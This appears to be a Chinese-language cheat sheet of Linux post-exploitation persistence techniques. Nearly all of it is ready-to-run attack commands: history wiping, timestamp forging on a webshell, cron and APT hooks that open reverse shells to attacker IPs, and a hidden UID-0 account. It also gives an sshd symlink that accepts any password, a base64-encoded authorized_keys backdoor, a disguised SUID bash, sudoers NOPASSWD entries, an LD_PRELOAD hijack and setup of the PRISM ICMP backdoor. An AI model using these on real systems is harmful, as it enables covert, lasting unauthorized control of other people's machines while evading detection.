读取某个用户的历史命令记录可以查看
/home/用户名/.bash_history
在 Unix 系统中,不能使用管道符将密码传递给 sudo
命令。
权限维持
无痕终端操作
执行完成后当前终端所有操作不被记录
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
隐藏文件时间戳
如下命令将 webshell.php 的时间改为 2022 年 02 月 01 日 8 时 10 分 30 秒。
touch -t 202202010810.30 webshell.php
将文件修改时间与其它文件一致
# touch -r A B 使B文件时间变得和A文件相同
touch -r index.html shell.php
固定文件
用 chattr 命令防止系统中某个关键文件被修改:
chattr +i file_name
文件只能添加不能删除
chattr +a file_name
Webshell
如果是 PHP 可以考虑修改源码增加 include 函数,并且上传一个文本文件进行文件包含的利用,相对隐蔽。如果是 Java 的话也可以考虑 JavaAgent 内存马。
定时任务
crontab [-u user] file
crontab [-u user] { -e | -l | -r } [command]
-u user
:指定要操作的用户。如果省略这个参数,crontab 将默认操作当前用户的 crontab 文件。file
:指定包含定时任务设置的文件。-e
:编辑当前用户的 crontab 文件。-l
:显示当前用户的 crontab 文件。-r
:删除当前用户的 crontab 文件。
分 时 日 月 周 任务
- 数字,例如
0
、10
或23
。 - 逗号分隔的数字列表,例如
1,5,10,15
。 - 中划线分隔的数字区间,例如
1-5
。 - 星号,表示所有可能的值。例如,
*
表示每分钟都执行任务。
你还可以使用斜杠来指定一个值的倍数,例如 */5
表示每隔 5 个单位执行任务。
比如
echo "*/1 * * * * cat /etc/passwd >> /tmp/shule.txt" | sudo crontab -u root -
注意: 在使用 |
管道符时,前面的命令的输出会作为后面命令的输入。所以,你需要在 crontab
命令后面加上一个减号 -
,表示后面命令的输入来自于标准输入。
每一分钟执行反弹 shell
*/1 * * * * /bin/bash -c "/bin/sh -i >& /dev/tcp/192.168.111.253/8877 0>&1"
输入 cat /etc/crontab
或 crontab -e
可以查看计划任务
最后
service cron restart
或者[不同操作系统上面命令不一样]
systemctl restart crond
开机启动项
/etc/profile.d
系统启动会执行该目录下的所有 shell 脚本,只需将自己的脚本放在这个目录下就能执行
Systemd Timers
systemd timers 是另外一种设置定时任务的方法。该方法也是需要 root 权限。
使用 systemctl list-timers --all
可以用来检查当前机器上 systemd 的服务启动情况,会列出下次执行某服务的时间,以及上次执行的时间,剩余时间等
我们需要在 /etc/systemd/system/
下创建两个文件。首先是 poc.service
内容如下:
[Unit]
Description="malicious service"
[Service]
ExecStart=/opt/poc.sh
其中 ExecStart
表示要执行的权限维持脚本,例如:
#!/bin/bash
echo "poc_4_timer" > /tmp/poc_for_timer
然后是 poc.timer
[Unit]
Description="malicious timer"
[Timer]
OnCalendar=*:0/5:0
Unit=poc.service
[Install]
WantedBy=timers.target
其中 OnCalendar=*:0/5:0
表示每隔 5 分钟执行一次该 timer
可以使用下列命令判断该 timer 是否书写正确:
systemd-analyze verify /etc/systemd/system/poc.*
然后依次执行如下命令即可
systemctl daemon-reload && systemctl enable poc.timer && systemctl start poc.timer
可通过以下命令查看服务运行情况
sudo systemctl status poc.timer
添加 root 用户
# 创建一个用户名 test,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` test -o -u 0 -g root -G root -s /bin/bash -d /root
SSH 软链接
当目标开启 ssh 服务时且我们已经拿到 root 权限时(注意,其它用户是不行的,毕竟利用的是 root 切换用户默认不需要输入密码的原理),可以考虑 ssh 软链接的方式维持后门
在目标机器上执行:
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
ssh 即可使用任意密码登录任意用户
ssh [email protected] -p 12345
SSH key
root 权限的人添加密钥登录
$ ssh-keygen <== 建立密钥对
然后一路回车,就会在 ~/.ssh 上面生成了两个文件
id_rsa id_rsa.pub
接下来的命令
$ cd ~/.ssh
$ cat id_rsa.pub >> authorized_keys
$ chmod 600 authorized_keys
$ chmod 700 ~/.ssh
最后重启 ssh 服务
$ service sshd restart
# 或者是
$ sudo service ssh restart
也可以通过编辑 /etc/ssh/sshd_config
禁用密码登录
PasswordAuthentication no
将私钥 id_rsa 下载到本地用户,就可以用
chmod 600 id_rsa
ssh 用户名@ip -i id_rsa文件
进行登陆
此外,我们还可以修改 ~/.ssh/authorized_keys
内容,添加 command
参数。比如
当运维人员使用 ssh 密钥登录的时候就会触发服务器对该命令的执行。但是执行完这个命令用户是无法登录的。
因此我们可以用如下脚本
[[ $(stat -c%Y /bin/sh) != $(stat -c%Y .ssh) ]] && {
touch -r /bin/sh .ssh
export KEY=""
bash -c "$(touch /tmp/sss)" || exit 0
} >/dev/null 2>/dev/null &
[[ -n $SSH_ORIGINAL_COMMAND ]] && exec $SSH_ORIGINAL_COMMAND
[[ -z $SHELL ]] && SHELL=/bin/bash
[[ -f /run/motd.dynamic ]] && cat /run/motd.dynamic
[[ -f /etc/motd ]] && cat /etc/motd
exec -a -$(basename $SHELL) $SHELL
[[ -n $SSH_ORIGINAL_COMMAND ]] && exec $SSH_ORIGINAL_COMMAND
: 如果环境变量SSH_ORIGINAL_COMMAND
非空,则将其内容作为命令执行。[[ -z $SHELL ]] && SHELL=/bin/bash
: 如果环境变量SHELL
为空,则将其设置为/bin/bash
。[[ -f /run/motd.dynamic ]] && cat /run/motd.dynamic
: 如果文件/run/motd.dynamic
存在,则输出其内容。[[ -f /etc/motd ]] && cat /etc/motd
: 如果文件/etc/motd
存在,则输出其内容。exec -a -$(basename $SHELL) $SHELL
: 使用exec
命令将当前进程替换为以$SHELL
为参数的新进程,并将新进程的名称设置为-$(basename $SHELL)
。
再用 base64 编码
eval $(echo W1sgJChzdGF0IC1jJVkgL2Jpbi9zaCkgIT0gJChzdGF0IC1jJVkgLnNzaCkgXV0gJiYgeyB0b3VjaCAtciAvYmluL3NoIC5zc2g7IGV4cG9ydCBLRVk9IiI7IGJhc2ggLWMgIiQodG91Y2ggL3RtcC9zc3MpIiB8fCBleGl0IDA7IH0gPi9kZXYvbnVsbCAyPi9kZXYvbnVsbCAmIFtbIC1uICRTU0hfT1JJR0lOQUxfQ09NTUFORCBdXSAmJiBleGVjICRTU0hfT1JJR0lOQUxfQ09NTUFORDsgW1sgLXogJFNIRUxMIF1dICYmIFNIRUxMPS9iaW4vYmFzaDsgW1sgLWYgL3J1bi9tb3RkLmR5bmFtaWMgXV0gJiYgY2F0IC9ydW4vbW90ZC5keW5hbWljOyBbWyAtZiAvZXRjL21vdGQgXV0gJiYgY2F0IC9ldGMvbW90ZDsgZXhlYyAtYSAtJChiYXNlbmFtZSAkU0hFTEwpICRTSEVMTAo=|base64 -d)
然后在 command 中填写命令
这样用户就可以正常的 ssh 登录,并且触发后门。
ssh 登录后门参考 https://blog.thc.org/infecting-ssh-public-keys-with-backdoors
ssh 隐藏登录
-T 表示不分配伪终端,/bin/bash 表示在登录后调用 bash 命令 -i 表示是交互式 shell, 不会被 w、last 等指令检测到
ssh -T [email protected] /bin/bash -i
shell init
当我们使用 ssh 或者新开启一个终端的时候会执行用户目录下的 .profile
文件进行初始化终端环境变量。
可以看到通常情况下会执行 . ~/.bashrc
的命令,我们也可以直接在 .profile
末尾添加恶意的命令,也可以修改 .bashrc
文件从而达到权限维持的作用
/etc/passwd
这个文件中的每一行内容都有如下信息 用户名:[x]:uid:gid:[用户说明]:家目录:登录shell
其中 [x]
是密码标志,如果存在 x
则表示该用户有密码。我们获取了 root 权限可以对 /etc/passwd
的 root
一行进行修改,删除它的密码标志,这样我们就可以在拥有一个普通用户的时候无密切换用户,这种操作常常见于内核提权漏洞。但是当删除了 x
后则无法进行远程 ssh
密码登录,只适合本地切换用户。这样一来我们可以结合 ssh key 的方式让别人无法登录,自己依旧拥有 root
权限达到权限维持的功能。
SUID Shell
suid 即 set user id,是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
euid
是 “effective user ID” 的缩写。在 Linux 系统中,每个用户都有一个用户 ID(简称 UID)和一个有效用户 ID(简称 EUID)。
- UID 是一个数字,表示用户的身份。UID 为 0 的用户通常是超级用户(也称为 root 用户),拥有系统的最高权限。
- EUID 是一个数字,表示当前用户的有效身份。如果当前用户没有使用
su
命令切换用户,则 EUID 和 UID 是相同的。如果当前用户使用了su
命令切换用户,则 EUID 会变成切换到的用户的 UID。
cp /bin/bash /etc/shell
chmod u+s /etc/shell
实际情况中不要起 shell 这种名字,机子上正常的 suid 文件还是很多的,例如:你可以将
mv /usr/bin/newgrp /tmp/a
chmod -s /tmp/a
cp /bin/bash /usr/bin/newgrp
chmod u+s /usr/bin/newgrp
sudo
sudo
是一个授予特定用户组特定用户权限的命令。配置文件在 /etc/sudoers
和 /etc/sudoers.d/
,通常情况下只有 root 用户可以进行修改。其中在 /etc/sudoers.d/
目录下默认只有 README
这个文件,这个文件默认是无法修改的,在 root
权限情况下就随意了。我们可以通过 sudo -l
的方式查看当前用户是否存在sudo
赋予的特权。但是我们可以通过新建一个用户配置 sudo
使得其拥有 root 权限,达到权限维持的效果。
查看/etc/sudoers
文件可以发现,存在一些特别的格式,而也就是授权语句
概括来说,配置权限部分分为 5 个字段
USERS | HOST | USER | GROUP | NOPASSWD: | COMMANDS |
root | ALL | (ALL | ALL) | 省略(默认需要密码) | ALL |
%admin | ALL | (ALL | ALL) | 省略(默认需要密码) | ALL |
%sudo | ALL | (ALL | ALL) | 省略(默认需要密码) | ALL |
- USERS
表示配置作用的目标用户,也就是说这个配置是给哪个用户的,这个字段可以是用户(例如 root),也可以是用户组(例如 %admin),用户组需要在前面加上 %
,也可以是别名,别名说到底就是一堆用户的代表,需要在上文配置
- HOST
主机名,表示可以使用 sudo 命令的主机,ALL 表示任意主机
- USER
目标用户使用 sudo 时可以临时获取的身份以及权限,ALL 表示任意身份及权限
- GROUP
目标用户使用 sudo 时可以临时获取的用户组身份以及权限,ALL 表示任意用户组
- NOPASSWD
可以设置执行 sudo 不需要密码,省略不写表示需要密码
- COMMANDS
目标用户 sudo 后可以使用的命令, ALL 表示所有命令
所以默认的配置的含义为
- root 可以在任意主机上 sudo 获取任意用户和用户组的权限,并执行任意命令,需要输入密码
- sudo 用户组的用户可以在任意主机上 sudo 获取任意用户以及用户组的权限,并执行任意命令,需要输入密码
比如我们新建一个 guest
用户,设置好密码和 ssh 后。然后进行如下操作,向写入/etc/sudoers.d/README
如下内容
guest ALL=(ALL:ALL) NOPASSWD: ALL
这个时候在 guest 用户上就可以利用 sudo
轻松获得 root
权限了
但是这样还是很容易被发现这个后门,尤其是新建了用户。别人cat /etc/passwd
就给抓到了。所以我们可以考虑本身机器上面存在的 $SHELL
的用户。比如我这里就有个 postgres
。
没有的话也不要着急,我们可以铤而走险的给 /bin/false
和 /nologin
用户解锁。以 www-data
用户为例子,我们直接修改 /etc/passwd
将原本的 /usr/sbin/nologin
修改为 /bin/bash
这下就可以有 shell 了
同时也可以生成 ssh 密钥对,进行远程登录。
MOTD
在用户成功登录后会显示 /etc/update-motd.d
下的内容,作为推送给用户今日消息的功能。例如:
我们可以修改 /etc/update-motd.d/00-header
,增加反弹 shell 的命令
APT
在 /etc/apt/apt.conf.d/
下创建任意名字的文件,例如 01-vendor-ubuntu
,文件内容:
APT::Update::Pre-Invoke {"/bin/bash -c '/bin/bash -i >& /dev/tcp/172.19.238.186/1337 0>&1'"};
当执行 apt update
的时候就会执行反弹 shell 的命令
GIT Hook
在 .git/hooks/
目录下创建 pre-commit
文件,填写相关文件内容,并赋予可执行权限,当执行 git commit
就会执行命令,例如:
LD_PRELOAD Hijacking
这种方法及其不安全,后门代码不要过于底层,否则会陷入命令执行的死循环
准备好 C 代码
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("");
}
编译
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c
然后执行
echo '/tmp/preload.so' >> /etc/ld.so.preload
ICMP Backdoor
工具:https://github.com/andreafabrizi/prism
下面介绍常规用法。更多的用法请访问原仓库
需要 root 权限。需要修改 prism.c 文件的配置
#include <netinet/ip_icmp.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#ifdef STATIC
# define REVERSE_HOST "192.168.244.137"
# define REVERSE_PORT 1337
# define RESPAWN_DELAY 15
#else
# define ICMP_PACKET_SIZE 1024
# define ICMP_KEY "password"
#endif
#define VERSION "0.5"
#define MOTD "PRISM v"VERSION" started\n\n# "
#define SHELL "/bin/sh"
#define PROCESS_NAME "udevd"
REVERSE_HOST
是攻击机的 IP 地址。REVERSE_PORT
回连地址。ICMP_KEY
连接后门的密码 。SHELL
shell 的类型。PROCESS_NAME
受害机上创建的后门进程名
编译:gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c
-DDETACH #Run the process in background
-DSTATIC #Enable STATIC mode (default is the ICMP mode)
上传该后门文件并在受害机上运行 prism
攻击机上面运行监听
$ nc -lvnp 1337
然后运行连接后门脚本
sudo python2 sendPacket.py 192.168.244.136 password 192.168.244.137 1337
即使攻击机上断开连接,受害机上的后门程序仍然运行